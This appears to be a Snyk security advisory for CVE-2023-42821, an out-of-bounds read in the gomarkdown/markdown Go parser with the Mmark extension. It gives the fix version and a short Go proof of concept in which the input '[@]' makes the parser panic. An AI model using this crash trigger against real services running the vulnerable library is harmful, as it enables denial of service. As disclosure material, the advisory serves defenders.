Out-of-bounds Read Affecting github.com/gomarkdown/markdown/parser package, versions <0.0.0-20230922105210-14b16010c2ee


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.1% (43rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMGOMARKDOWNMARKDOWNPARSER-5916451
  • published24 Sept 2023
  • disclosed22 Sept 2023
  • creditNSEcho

Introduced: 22 Sep 2023

CVE-2023-42821  (opens in a new tab)
CWE-125  (opens in a new tab)

How to fix?

Upgrade github.com/gomarkdown/markdown/parser to version 0.0.0-20230922105210-14b16010c2ee or higher.

Overview

github.com/gomarkdown/markdown/parser is a library for parsing Markdown text and rendering as HTML.

Affected versions of this package are vulnerable to Out-of-bounds Read when the citation.go file is parsing malformed markdown input with the parser.Mmark extension. An attacker can cause a denial of service or panic if the parser has the parser.Mmark extension set.

PoC

package main

import (
    "github.com/gomarkdown/markdown"
    "github.com/gomarkdown/markdown/parser"
)

func main() {
    ext := parser.CommonExtensions |
        parser.Attributes |
        parser.OrderedListStart |
        parser.SuperSubscript |
        parser.Mmark
    p := parser.NewWithExtensions(ext)

    inp := []byte("[@]")
    markdown.ToHTML(inp, p, nil)
}

CVSS Scores

version 3.1